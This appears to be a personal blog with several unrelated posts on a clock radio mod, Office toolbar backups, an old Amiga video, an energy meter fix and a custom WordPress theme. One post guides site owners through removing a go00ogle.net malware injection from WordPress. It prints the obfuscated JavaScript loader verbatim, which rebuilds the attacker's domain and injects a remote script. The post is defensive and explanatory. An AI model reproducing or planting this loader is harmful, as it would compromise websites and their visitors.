I recently wanted to upgrade my bedside alarm clock to one that had both an audio input and an iPod charging capability. I also wanted something small but with a large time readout and 2 alarms. I also wanted something that showed a 24-hour time format (instead of the 12-hour AM/PM format). The Sony ICFCD3IP (and it's less expensive brother the ICFC7IP) met all my requirements - EXCEPT that the ones sold in Australia were hard-wired to only show 12-hour time format. The same exact model of radio sold in continental Europe (though not the UK) has a 24-hour format. Searching Google didn't reveal anything so I went and bought an Australian model at a local electronics store with the intention to modify it. Long-story-short, after trying every possible "undocumented" button combination, I was hoping to find a "jumper" or something inside that would let me change the configuration. Instead I found a serial port (JTAG or other) which is obviously where the factory sets the localisation config into the device. At this point I gave up.

But for any of you out there who wish to hack / modify / convert one of these radios, you will need to work out the protocol used to update the config. The easiest way to open the device without leaving any trace is to start with the door (remove all the Phillips screws on the door and carefully disconnect the ribbon cable) then unscrew all the screws around the CD Player part to remove the cover and reach the serial port which is roughly behind the backup battery compartment. Removing the base then needs a further two screws behind the main circuit board and then several screws on the base followed by careful prying since the two pieces are also glued together. The base mostly holds the speakers, dock mechanism and radio circuitry.

EPILOGUE: As I was on a mission to get a 24-hour version of this product, I persisted beyond what a reasonable person might do. Via Amazon.fr I found a place in Germany (AVIDES) that would ship one overseas. Amazon.fr wouldn't ship the product outside of Europe, but AVIDES was selling ex-demonstrators and would ship to Australia. Coincidentally, since the AU$ happens to be very strong at the moment, the total price including shipping was actually less than buying it locally! Having received the device in perfect order (you can't even tell it's a "used" one) I am very happy with it. The European model has an automatic daylight savings mode (which can be disabled) that will not work in Australia because of the opposite seasons. Other than that, it's exactly what I wanted. As a bonus, the European version also has an expanded AM radio range.

I'm a very old-school user of office software (with my use of such tools going back to Lotus 123 3.0 and Wordperfect 4.2) who is definitely stuck in his ways. Heck, I've been using these tools for 20 years and other than the GUI change going from DOS to Windows there have been very few useful innovations to the core office toolkit.
Over the years, I have customised my Powerpoint, Excel and Word environments to the point that I've now basically reached toolbar perfection. And while I'm sure I might one day come to regret saying this, I see no reason to move on from my customised environment - "The Ribbon" be damned! (I still use the "Transition Mode" in Excel and still start all my formulae with @).
One of my (many) big complaints with MS Office is that there is no obvious way to save, transfer or backup the customised toolbars that I've spent years honing. The purpose of this post is actually as a reference for myself so that I can quickly get my optimised environment up and running when I'm away from my "home" systems.
The specific file names can vary depending on your configuration, but this is where you look:
Powerpoint: It's a *.pcb file (e.g. PPT11.pcb)
Excel: It's a *.xlb file (e.g. Excel11.xlb)
Word: It's stored in Normal.dot and custom toolbars can be copied from one template to another via the Organizer (Tools - Templates and Add-Ins... - Organizer...). Keep in mind that in Word customizations to the standard toolbars cannot be moved.
Use the Windows search feature to find these files, since their specific locations can vary greatly depending on the version of your MS Office installation.

Recently I saw a couple of YouTube videos from Phillips Academy High School students [here] and [here] that blew me away (the second one has a slow intro)...
In 1990 when I was at PA, I enrolled in a course on Computer Art. I don't remember the exact name of the course, but it was taught by the late Diz Bensley who was at the cutting edge of teaching art with computers (in those days, calculators were still banned in math class).
In that course, I created a video entitled Orbs Ex Machina (click to view it) as my final project. Seeing the modern YouTube videos, I decided to dig out the old tape and upload it to YouTube for comparison. Obviously the picture quality has degraded substantially over those 20 years of storage on a VHS tape from Kmart.

For those interested in the equipment I used, it was shot on a Panasonic PK-957 video camera that used a pickup tube instead of the current CCD technology. The video was shot onto VHS tape and then the graphics were overlaid on my own Amiga 2000 and an Amigen Genlock. I also used the school's 286 Zenith "IBM AT Clone" fitted with a Truevision Targa Board.

The video was shot entirely on the Phillips Academy campus (at the mail room in GW Hall and outside Kemper Auditorium - neither of these two areas exist anymore due to renovations).

I recently got a free Cent-a-Meter from the City of Sydney as part of their Household Energy Consumption Trial. It's a great little device that displays instantaneous energy consumption. It's essentially like a little portable electricity meter that gives you a live view of your consumption with various views based on cost / greenhouse gas emissions / raw Wattage / etc.

The device came pre-configured from the City of Sydney, but when I had to change the time due to the Daylight Savings change, it lost all its settings and then wouldn't let me program any of the settings - they simply wouldn't "save" to memory. Instead it just kept reverting to the default settings. I followed the instructions (located here) verbatim, but the settings simply didn't stick.
Annoyed, I kept playing with it until I found a solution. Apparently, it doesn't like it when you change too many settings at one time. Instead, if you change 1 setting at a time, go through the full menu (using the MODE button to reach the END of each section and hitting SET) and save, then it will stick. This makes it HIGHLY cumbersome to re-program, hopefully the manufacturer will fix this in future versions.

Just found a fantastic (and free) screen recorder for Mac OS X Leopard. Don't know why this thing isn't on the first search page of Google! There are tons of pay options, but this has everything you need (click record, and it records the screen). Like good Mac software, "it just works." Download it here: http://www.juniortan.com/Public/Berio.html

An old high-school buddy of mine in Korea was tearing his hair out trying to remove the go00ogle.net malware script that infected his Wordpress blog (http://www.feetmanseoul.com/). It's a nasty little bugger and one that's not obvious to remove. As of this writing, the script is new enough that there aren't any "how to" guides to remove it. Thanks to a rainy afternoon with nothing else on, I've documented the removal process. Hope it helps!

What you will need:
1. The Firefox Browser
2. The AdBlockPlus plug-in for Firefox
3. A text editor (I used TextWrangler)
4. An FTP client (I used Fetch because the guy is from Dartmouth)

First, confirm that you are infected. Using Firefox go to the page that you think is infected (in my friend's case it was every single Wordpress page including the Admin Dashboard). Then, using AdblockPlus select "Open blockable items" per the image on the left.

If you are infected, you will then see http://go00ogle.net/if.php as one of the scripts (just like in the picture below). You will probably see a bunch of different scripts compared to the picture depending upon your particular configuration (Wordpress version, Plugins, etc.). You can click on the image to enlarge it.



Once you've confirmed that you are infected, you will need to find which of your scripts is calling up the malicious script. Because the little evildoers are a bit sophisticated, you won't simply be able to look at the Page Source, instead you'll need to wade through all the other scripts on your page. The easiest way to do this is to load each script by loading the full URL into your browser and searching through it.

With AdBlockPlus, right-click on each script (except http://go00ogle.net/if.php), and click Open in New Tab. (You can enlarge the picture below for a closer look).



You will see a whole lot of what looks like gobbledygook, but what you're looking for is the code below:

function advQuery(){
var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");
document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));
document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));
};advQuery();


In my case it was a bit more nicely formatted as per the picture below (click to enlarge).



An easy thing for the bad guys to do is to change the code slightly to make these instructions no longer valid - therefore they may change the above text slightly so it's not exactly the same. [Update]: Looks like they've already begun to modify it, see the comment from 12 August below.

In my case, the infected file was podpress.js, but this won't always necessarily be the case. Since writing this I've heard of someone else having their load-scripts.php file being infected instead.

Update I have now also found it on another site embedded in a theme file (/wp-content/themes/dilectio/dilectio/javascript/tabs.js).

Per the screen shot of AdblockPlus below, I now know the full path to the infected file (click to enlarge)



So then it was just a matter of using my FTP client to download the file, remove the offending bit of code with my text editor, save it and re-upload the file back to the server.

It's a pretty simple fix once you know what to do... but the discovery process was a bit tougher. Hope this helps.

Click Here to Download

I've been helping someone move his website from Cutenews to Wordpress. Wordpress is a great Blogging platform and the guys that created it also have a service called Wordpress.com whereby they host your site for free; however, you have very little leeway to customise the themes they offer.

My friend became quite attached to the Contempt Wordpress.com theme which is a variant of this Contempt Theme. The available versions of Contempt; however, miss an important feature - the category listing. After messing around for several days, I realised that the only option was to write my own variant with this feature.

On the right is a screenshot (click to enlarge) of what the category listing looks like. It's basically a listing of all the articles in a category. With ContempOT you get this type of listing whenever you select a category, author, archive, etc. Without this feature, most themes will give you the full text (or partial text) of each article. This causes a problem when you have hundreds of articles in each category.

So, if you're interested in trying it out - You can download the ContempOT theme by clicking here.

In case you're wondering how I got the name for the theme, OT are the initials of the site. If you want to see a live example, click here.